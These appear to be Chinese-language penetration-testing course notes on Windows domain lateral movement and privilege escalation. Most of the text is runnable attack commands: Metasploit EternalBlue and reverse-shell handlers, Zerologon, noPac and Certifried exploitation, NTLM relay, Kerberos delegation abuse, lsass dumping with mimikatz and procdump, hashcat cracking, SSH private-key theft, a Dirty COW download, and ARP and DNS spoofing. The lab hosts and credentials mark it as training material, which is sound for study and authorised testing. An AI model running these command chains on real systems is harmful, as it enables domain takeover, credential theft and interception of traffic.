#域横向移动-内网服务-Exchange 漏洞 确定内核版本--筛选Server版本--确定漏洞对应关系--利用漏洞 --找到利用的漏洞,下载POC,进行利用. POC,命令执行(弄上下载后门的命令),上传后门,上线.
(如果要访问域名的话,本地hosts文件修改一下.)
参考图 CVE-2020-0688 CVE-2020-17144 https://www.cnblogs.com/xiaozi/p/14481595.html
130节--域提权ms..
域提权漏洞 --直接攻击!
-
探 针
-
爆 破
-
漏 洞
-
子主题 4
-
子主题 5
域控提权
-
0、横向移动-系统漏洞-CVE-2017-0146
#横向移动-系统漏洞-CVE-2017-0146 CVE-2017-0146(MS17010) Windows 7 8.1 10; Windows Server 2008 2012 2016; -插件检测-横向移动 -CS 联动 MSF-检测&利用 1、CS 创建外联监听器 2、CS 执行联动 MSF --cs传到MSF-做漏洞利用.(移交提权后的) msf-ip 8888 spawn msf
cs创建监听器:Foreign http 会话中:spawn msf (监听器名字)--移交到msf上
3、MSF 监听联动配置 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 0.0.0.0 set lport 8888 run --收到--上线
getuid
4、添加路由 run autoroute -p //查看当前路由表 run post/multi/manage/autoroute //添加当前路由表 --对网段进行利用
5、检测模块 use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.3.21-32 //设置扫描目标段 set threads 5 //设置扫描线程数 run --利用模块对网段进行一个检测
6、利用模块 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp //正向连接上线 set rhost 192.168.3.25 //设置连接目标 set rhosts 192.168.3.25 //设置扫描目标 run --这里win7不出网,咋办呢? --改成正向连接,set payload windows/x64/meterpreter/bind_tcp --为什么服务器能打内网并且连接?--因为添加了路由.
-
1、横向移动-域控提权-CVE-2014-6324
-
见前面 PTT 横向移动
-
-
2、横向移动-域控提权-CVE-2020-1472
#横向移动-域控提权-CVE-2020-1472 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2(Server Core installation) Windows Server 2016Windows Server 2016 (Server Core installation) Windows Server 2019Windows Server 20i9 (Server Core installation) Windows Server,version 1903 (Server Core installation) Windows Server,version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation) 前提:只需要有一台域内成员权限,--做跳板,直接攻击.
重置密码: GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura 恢复密码: GitHub - risksense/zerologon: Exploit for zerologon cve-2020-1472 GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.
--利用proxychains Linux代理进行sockes转发. cat /etc/hosts
0、获取计算机名: nbtscan -v -h 192.168.3.21 1、连接Dc清空凭证: proxychains python cve-2020-1472-exploit.py OWA2010cN-GOD 192.168.3.21 --用代理+脚本运行那个CVE
2、获取域内HASH: proxychains python secretsdump.py OWA2010cN-GOD\[email protected] -just-dc -no-pass
3、连接域控PTH: python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7god/[email protected]
4、后续恢复密码:
--VPC项目(在线) --腾讯云 -用mimikataz...读不到明文了.
-
3、横向移动-域控提权-CVE-2021-42287
#横向移动-域控提权-CVE-2021-42287 前提条件:一个域内普通账号 影响版本:Windows基本全系列 GitHub - cube0x0/noPac: CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter. PsTools - Sysinternals | Microsoft Learn 前置: 1、代理后: 修改Host绑定域名和IP 2、扫描探针:noPac需要编译一下 noPac scan -domain god.org -user webadmin -pass admin!@#45 --有+说明有漏洞. 3、利用连接: noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org/mAccount dadd /mPassword sdadasdsa /service cifs /ptt --本地创建ppt票据. (请求域名的话别忘了添加一下本地hosts文件) klist
PsExec \owa2010cn-god.god.org cmd
--能执行cmd命令了--下载马子--上线
python项目利用: GitHub - safebuffer/sam-the-admin: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user python sam_the_admin.py god/'webadmin:admin!@#45' -dc -ip 192.168.3.21 -shell
-
4、横向移动-域控提权-CVE-2022-26923
#横向移动-域控提权-CVE-2022-26923 当windows系统的ActiveDirectory证书服务(cs)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从ActiveDirectory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。 影响:Win8.1、Win10、Win11、WinServer2012R2、WinServer2016、WinServer2019、WinServer2022等版本 前提条件: 1、一个域内普通账号 2、域内存在证书服务器 Kali添加访问域内信息 /etc/hosts 192.168.1.15 xiaodi.local 192.168.1.15 xiaodi-WIN-3C7SS32SQ6R-CA 192.168.1.15 WIN-3C7SS32SQ6R.xiaodi.local
certutil -config - -ping
获取CA结构名和计算机名 certutil -config - -ping 域内信息 192.168.1.15 test Pass123 x1aodi-WIN-3C7SS32SQ6R-CA --获取CA信息 WIN-3C7SS32sQ6R.xiaodi.1ocal --获取计算机名
1、申请低权限用户证书: certipy req 'xiaodi.local/test:[email protected]'-caxiaodi-WIN-3C7sS32SQ6R-CA -template User -debug
2、检测证书 certipy auth -pfx test.pfx
3、创建一个机器账户: python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123'--host192.168.1.15 addComputer pwnmachine 'CvEPassword1234*'
4、设置机器账户属性(dNSHostName和DC一致): python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host192.168.1.15 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["WIN-3C7SS32SQ6R.xiaodi.local"]'
5、再次申请证书: certipy req 'xiaodi.local/pwnmachine$:CvEPassword1234*@192.168.1.15' -templateMachine -dc-ip 192.168.1.15 -ca xiaodi-WIN-3C7SS32SQ6R-CA
6、检测证书: certipy auth -pfx./win-3c7ss32sq6r.pfx-dc-ip 192.168.1.15
7、导出HASH: python3 secretsdump.py 'xiaodi.local/[email protected]'-hashes :10e02bef2258ad9b239e2281a01827a4
8、利用HASH: python3 wmiexec.py xiaodi.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
NTLM 中继攻击
#基本知识点: 与 NLTM 认证相关的安全问题主要有 Pass The Hash、利用 NTLM 进行信息收集、 Net-NTLM Hash 破解、NTLM Relay 几种。PTH 前期已经了,运用 mimikatz、 impacket 工具包的一些脚本、CS 等等都可以利用,NTLM Relay 又包括(relay to smb,ldap,ews) 可以应用在 获取不到明文或 HASH 时采用的手法,但也要注意手法的必备条件。
-
Relay 重放-SMB 上线
#横向移动-NTLM 中继攻击-Relay 重放-SMB 上线 条件:通讯双方当前用户密码一致 (不需要账号密码!)(靶机啥也没做) CS: 上线 spawn msf
MSF: 监听上线: use exploit/multi/handler set payload windows/meterpreter/reverse_http (与监听器保持一致) set lhost 0.0.0.0 set lport 8888 run
添加路由: run autoroute -p //查看当前路由表 run post/multi/manage/autoroute //添加当前路由表 (内网段/外网段-web出网的) background //返回
重发模块: use exploit/windows/smb/smb_relay set smbhost 192.168.46.135 //转发攻击目标 (攻击地址) set lhost 192.168.46.166 //设置本地 IP set autorunscript post/windows/manage/migrate
主动连接: set payload windows/meterpreter/bind_tcp (不出网就正向连接,) set rhost 192.168.3.X //设置连接目标 (攻击+连接的) run
Administrator用户--dir \攻击机IP\c$ --连接 webadmin用户--dir \监听IP\c$ --执行不上线
getuid cs上: ps steal_token <PID> (高权限-->低权限 system-->Administrator) dir //IP/c$
msf上: 进入sessions ps --找到Administrator的权限 migrate <PID> --进行窃权 getuid dir //IP/c$
-
Inveigh 嗅探-Hash 破解
#横向移动-NTLM 中继攻击-Inveigh 嗅探-Hash 破解
条件:被控主机当前 管理员权限. Responder 中继攻击-NTLM Hash 破解 GitHub - hashcat/hashcat: World's fastest and most advanced password recovery utility GitHub - Kevin-Robertson/Inveigh: .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers 1、监听拦截 (建立节点/上传)--运行 Inveigh.exe 获取到的是 NET NTLM HASH V1 或 V2 2、触发拦截 dir\192.168.3.x\cS
2.1、钓鱼触发 http://192.168.3.31/1.html <!DOCTYPEhtml><html><head><title></title></head> <body></body></html>
3、破解密文 hashcat -m 5600 hash pass.txt --show
当人家访问或执行那条命令时,运行的软件收到hash.
非约束委派&约束委派&资源约束委派
#委派攻击分类: 1、非约束性委派 2、约束性委派 3、基于资源的约束性委派
委派攻击总结:
约束委派:首先判断委派的第二个设置,然后看针对用户,后续钓鱼配合
非约束委派:首先判断委派的第三个设置,然后看针对用户,主动攻击
资源约束委派:只看 DC 是不是 2012 及以上帮版本,然后看针对用户,主动攻击
参考:https://xz.aliyun.com/t/11555
-
非约束性委派
非约束委派 (需要通讯(钓鱼..))
原理: 机器 A(域控)访问具有非约束委派权限的机器 B 的服务,会把当前认证用户(域管用户)的的 TGT 放在 ST 票据中,一起发送给机器 B,机器 B 会把 TGT 存储在 lsass 进程中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认证用户(域管用户)访问服务。 A-->B B(A)-->A 伪造触发
利用场景: 攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的 TGT,从而模拟域管用户。
复现配置: (用户的属性多了一个委派) 1、信任此计算机来委派任何服务. 2、setspn -U -A priv/test webadmin
(cs 上线--执行命令) 判断查询: 查询域内设置了非约束委派的服务账户: AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn 查询域内设置了非约束委派的机器账户: AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
klist purge
利用步骤: 1、域控与委派机器通讯
主动: net use \webserver net use \webserver\c$
net use \IP
钓鱼: http://192.168.3.31/31.html
2、导出票据到本地 mimikatz sekurlsa::tickets /export 3、导入票据到内存 mimikatz kerberos::ptt [0;fece8][email protected] 4、连接通讯域控 dir \\owa2010cn-god\cs
-
约束委派
约束委派(不需要对方和你有通讯)
原理:由于非约束委派的不安全性,微软在window3server2003中引入了约束委派,对Kerberos协议进行了拓展 引入了SService for User to Self (S4u2self)和 Service for User to Proxy (S4u2proxy)。
利用场景: 如果攻击者控制了服务的账号,并且服务配置了到域控的cIFS服务的约束性委派。则攻击者可以先使用s4u2seflt申请域管用户(administrator)访问a服务的sT1,然后使用s4u2Proxy以administrator身份访问域控的cIFs服务,即相当于控制了域控。
复现配置: 1、机器设置仅信任此计算机指定服务-cifs 2、用户设置仅信任此计算机指定服务-cifs
判断查询: 查询机器用户(主机)配置约束委派 AdFind -b "DC=god,DC=org"-f"(&(samAccountType=805306369) (msds-allowedtodelegateto=))" msds-allowedtodelegateto 查询服务账户(主机)配置约束委派 AdFind -b "DC=god,DC=org"-f "(&(samAccountType=805306368)(msds-allowedtodelegateto=))" msds-allowedtodelegateto
利用步骤: 1、获取用户的票据 kekeo "tgt::ask /user:webadmin /domain:god.org/password::admin!@#45 /ticket:administrator.kirbi" "exit" kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi""exit"
2、利用用户票据获取域控票据 kekeo "tgs::s4u /tgt:[email protected]_krbtgt~[email protected] /user:[email protected] /service:cifs/owa2010cn-god" "exit"kekeo "tgs::s4u /tgt:[email protected]_krbtgt~[email protected] /user:[email protected] /service:cifs/owa2010cn-god.god.org" "exit"
klist purge
3、导入票据到内存 mimikatz kerberos::ptt [email protected]@GOD.ORG_cifs~[email protected]
4、连接通讯域控 shell dir \owa2010cn-god.god.org\c$ --通讯成功后,上传马子.
-
资源约束委派
#横向移动-实战靶机-资源约束委派 (能跨域) 基于资源的约束委派(gBcD)是在WindowsServer2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfofotherIdentity属性来设置RBCD。
-》计算机加入域时,加入域的域用户被控后也将导致使用当前域用户加入的计算机受控。
条件: 1、域控windows2012及以上(域控在windows2012以上版本) 2、存在域内成员用户加入域操作
获取受害目标:(有哪些域内计算机存在同一用户加入的)(相同&哪2个相同) AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID --域内计算机是哪个用户添加的. --sid值不相同,就不能资源委派攻击.(只有看到同一个sid值(同一个用户))
判断受害用户: sid2user.exe \192.168.3.33 5 21 1695257952 3088263962 20552354431104 (sid值的前两个值和- 都去掉) 增加机器: --任何普通用户都可以. ??? GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
Set-ExecutionPolicy Bypass -Scope Process Import-Module.\Powermad.ps1 New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
获取sid: PowerSploit/Recon/PowerView.ps1 at dev · PowerShellMafia/PowerSploit · GitHub
Import-Module.\PowerView.ps1 Get-NetComputer serviceA -Properties objectsid S-1-5-21-1695257952-3088263962-2055235443-1107
设置修改属性 powershell Set-ExecutionPolicy Bypass -Scope Process import-module .\powerview.pslsSD = New-Object Security.AccessControl.RawSecurityDescriptor - ArgumentList "o:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1107)" $SDBytes =New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm(SSDBytes, 0) Get-DomainComputer DATA Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=ssDBytes} -Verbose
验证修改是否成功: Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity
清除修改设置: Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
连接目标获取票据: python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA$:123456 -spn cifs/data.xiaodi.local -impersonate administrator
导入票据到内存: mimikatz kerberos::ptc administrator.ccache
连接利用票据: dir\data.xiaodi.local\c$ python psexec.py -k xiaodi.local/[email protected] -no-pass
-
委派攻击总结:
约束委派:首先判断委派的第二个设置,然后看针对用户,后续钓鱼配合
非约束委派:首先判断委派的第三个设置,然后看针对用户,主动攻击
资源约束委派:只看 DC 是不是 2012 及以上帮版本,然后看针对用户,主动攻击 .
Linux到Linux&SSH协议&遗留RSA密匙&Jenkins安全
-
Ø 横向移动-Linux靶场-SSH协议&RSA密匙凭证
#横向移动-Linux靶场-SSH协议&RSA密匙凭证 ~/.ssh/config ~/.ssh/known_hosts ~/.bash_history 一般情况下SSH密钥存放在~/.ssh/目录下,也可以文件中搜索已保存的SSH凭证 grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /* 参考:设置 SSH 通过密钥登录 | 菜鸟教程 第137天:内网安全-横向移动_Linux到Linux_SSH协议_遗留RSA密匙_Jenkins安全_ev_哔哩哔哩_bilibili
-
Ø 横向移动-Linux靶场-提权&SSH&密匙&Jenkins
#横向移动-Linux靶场-提权&SSH&密匙&Jenkins等 1、Web DMZ权限获取 信息收集:-O nmap 172.16.250.0/24 172.16.250.10 80开放 /struts2-showcase --cms的框架漏洞 利用漏洞: msfconsole search ... use exploit/multi/http/struts2_content_type_ognl set payload linux/x64/meterpreter/reverse_tcp set rhosts 172.16.250.10 set lport 80 run 权限提升: --脏牛漏洞(一般不用) curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c upload /root/dirtycow-mem.c /tmp shell gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread --编译-->编译文件 python3 -c "import pty;pty.spawn('/bin/bash')" --启动终端接受反弹. ./dirtycow-mem --获得root权限 --启动编译出的文件. 持续稳定: echo 0 > /proc/sys/vm/dirty_writeback_centisecs --人家的权限文件 echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
(信息搜集,密匙..) 横向移动: /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties cat ~/.bash_history --看到本地连接过 --下到自己本地尝试连接 cp ~/.ssh/id_rsa /tmp/id_rsa chmod 777 id_rsa download /tmp/id_rsa /root/id_rsa --下载到本地.
黑客box靶机
ssh -i 密匙 root@IP
建立节点(proxychains) --模式修改一下(dynamic...)
Jenkins平台部署有监控
sudo提权
多域环境
-
父域控&子域控&跨域信任
-
单域/父子域/跨域
-
-
域控提权&口令传递&导出
2、当前域主机列表 3、当前域控目标地址 -攻击域控 (创建代理) python sam_the_admin.py test0/'xiaodi:admin!@#45' -dc-ip 192.168.10.20 -shell
copy \xd\c$\beacon.exe (没有网,没http协议)
(信息搜集) -凭据-横向
-凭据导出
密码攻击技术
内存离线读取
#Windows-密码获取-在线离线读取&密文破解&存储凭证 1、在线读 GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
2、离线读 ProcDump - Sysinternals | Microsoft Learn 实验1:针对防护拦截:(针对Mimikatz被拦截) Procdump是微软官方的工具,可在命令行将lsass导出且杀软不会拦截. Procdump.exe -accepteula -ma lsass.exe lsass.dmp --拿出导出的文件,放到本地的mimikatz上,
mimikatz.exe "sekurlsa::minidump lsass.DMP" sekurlsa::logonPasswords full
实验2:针对高版本但有存储:(存储的也能读到) Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full
3、解决高版本(高版本默认设置不能读)
修改注册表+强制锁屏+等待系统管理员重新登录+截取明文密码 修改注册表来让WdigestAuth保存明文口令方式 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1 --注册表修改. regedit (注册表)
--再登录,密码就是明文了.
注意: 1、Windows-Mimikatz 适用环境: 微软为了防止明文密码泄露发布了补丁 KB2871997,关闭了 Wdigest 功能。 当系统为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码, -->此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
明文读不到 0、内存不存储导致读不到(强制开启注册表开启)记录内存存储. 1、解密密文hash得到明文 2、离线读取 (防拦截,后续读取) 用 mimikatz读取明文密码,版本高了就读不到了,只有hash.
windows明文读不到 原因: 1、mimikatz被拦截(杀毒等) 离线读取 2、操作系统过高=>2012 离线读取后本地还原(只会记录内存保存的) 强开注册表存储内存密码(只会记录后续访问) 强干hash破解 3.利用存储(在服务器登录RDP + 保存) RDP 3389 远程桌面协议
=========================================
Linux明文读不到原因: 1、mimipengui 版本少 2、强干hash破解(算法要识别) 3、利用存储(ssh密匙登录)
SSH
2、Linux-mimipenguin 适用环境: Kali 4.3.0 (rolling) x64 (gdm3) Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2) VSFTPd 3.0.3-8+b1 (Active FTP client connections) Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
(sudo passwd root)修改密码
所以出现以下: 0、Windows-强开 1、正面刚密文-Hashcat 2、侧面找思路-RDP 保存&SSH 密匙
#Linux-密码获取-内存读取&密文破解&存储凭证 1、密码读取: GitHub - huntergregal/mimipenguin: A tool to dump the login password from the current linux user (鸡肋工具) chmod 755 ./mimipenguin.sh ./mimipenguin.sh --运行脚本.GG
2、密码破解: cat /etc/shadow hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt
加密形式: (Linux由内核绝定)模式不同(不同内核加密算法不同) linux sha512crypt $6$, SHA512 (Unix)加密方式: hashcat -m 1800 sha512linux.txt p.txt linux sha256crypt $5$, SHA256 (Unix)加密方式: hashcat -m 7400 sha256linux.txt p.txt linux 下 md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)加密方式: hashcat -m 500 linuxmd5.txt p.txt linux 下 bcrypt $2*$, Blowfish 加密方式: hashcat -m 3200 linuxmd5.txt p.txt
-
明文获取-Windows&Linux-内存读取&离线读取
Hashcat 破解
HASH破解 --hashcat工具 hashcat - advanced password recovery md5在线解密破解,md5解密加密 MD5免费在线解密破解_MD5在线加密-SOMD5 hashcat cmd5 somd5 518b98ad4178a53695dc997aa02d455c https://www.cnblogs.com/Junglezt/p/16044372.html -m密文类型 -a破解类型 ?1 小写 ?s符号 ?d数字 字典破解: .\hashcat.exe -a 0 -m 1000 .\hash.txt .\pass.txt
暴力破解:(推荐) hashcat.exe-a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?s?s?d?d
-
密文破解-Windows&Linux-Hashcat&字典&暴力
RDP协议 凭据抓取
RDP凭据抓取 查看连接记录: cmdkey /list (远程连接+保存)
查找本地的Credentials:--记录凭据编号 dir /a %userprofile%\appdata\local\microsoft\credentials* Credentials记录guidMasterKey值:--进行完整的读取 --记录凭据值 mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\1ocal\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B
找到guidMasterKey对应的MasterKey: mimikatz sekurlsa::dpapi 解密指定的MasterKey凭据: mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:f70e1a641096f1b63731d571b43b33aaf009f6af5a3352504e6ddb3cd158f17eec2d541f18b8289ebf547d871dfb257a6bbbd5232550eb6f26a06d39378da4a5 f70e1a641096f1b63731d571b43b33aaf009f6af5a3352504e6ddb3cd158f17eec2d541f18b8289ebf547d871dfb257a6bbbd5232550eb6f26a06d39378da4a5 (此值通过上一步找到)
-
密匙存储-Windows&Linux-RDP 保存&SSH 密匙
2012后抓取方式
RSA Linux hash破解
ssh密匙
解释
pass the hash(哈希传递攻击,简称 pth) pass the ticket(票据传递攻击,简称 ptt) pass the key(密钥传递攻击,简称 ptk) PTH(pass the hash) #利用的 lm 或 ntlm 的值进行的渗透测试(NTLM 认证攻击) PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试(NTLM 认证攻击) PTT(pass the ticket) #利用的票据凭证 TGT 进行渗透测试(Kerberos 认证攻击)
工作组&局域网
中间人--单双向
#单向欺骗:
攻击机伪造数据包后本应该传输给靶机的数据错误的传输给攻击机,使靶机得不到服务器 的响应数据,甚至根本无法将数据包发送出局域网。 #双向欺骗:
攻击机一直发送伪造的数据包,欺骗网关自己是靶机,欺骗靶机自己是网关,同时开启路 由转发功能,就可以让靶机在正常上网的情况下截获网络数据包,所有数据都会经过攻击 机再转发给靶机。
ARP 欺骗
-
ARP 原理-断网限制-单向
#局域网&工作组-ARP 原理-断网限制-单向 科来网络分析系统 - 科来
科来网络分析系统,科来数据包生成器
-
ARP 欺骗-劫持数据-双向
1、开启转发 (Linux下:) echo 1 >> /proc/sys/net/ipv4/ip_forward 1为转发 0为不转发
2、开启欺骗: arpspoof -i eth0 -t 192.168.1.9 -r 192.168.1.1 -i 指定进行 arp 攻击的网卡 -t 目标主机 IP -r 进行双向攻击 --最后为网关的 IP 地址
3、WireShark&科来网络分析系统: ip.addr==192.168.1.9
真实会断网,--开启转发功能,经过我(不卡住靶机网络)
DNS 劫持钓鱼
-
DNS 劫持-钓鱼渗透-双向
#局域网&工作组-DNS 劫持-钓鱼渗透-双向 #局域网&工作组-DNS 劫持-钓鱼渗透-双向
使用:ettercap -G(Kali 自带) 1、设置劫持网卡 2、扫描网卡存活 IP 3、选择攻击目标 IP 4、启用 ARP 监听模式 5、设置 DNS 劫持规则 6、启用 DNS 劫持插件 使用:ettercap -G (Kali 自带) 1、设置劫持网卡 (eth0..) 2、扫描网卡存活 IP
3、选择攻击目标 IP (双向欺骗,分组(网卡,受害者主机),)
4、启用 ARP 监听模式 5、设置 DNS 劫持规则 --本地开启网站服务,设置dns解析去的路径. /etc/ettercap/etter.dns (..com等等) service apache2 start
ping
6、启用 DNS 劫持插件
dns解析的地址配合MSF--IE漏洞,钓鱼... --劫持放在其他主机上操作(msf) use exploit/windows/browser/
js打开,隐藏打开html.
ipconfig/flushdns
...有点慢
攻击手法
防御手法
-
安全防御-手工绑定&防火墙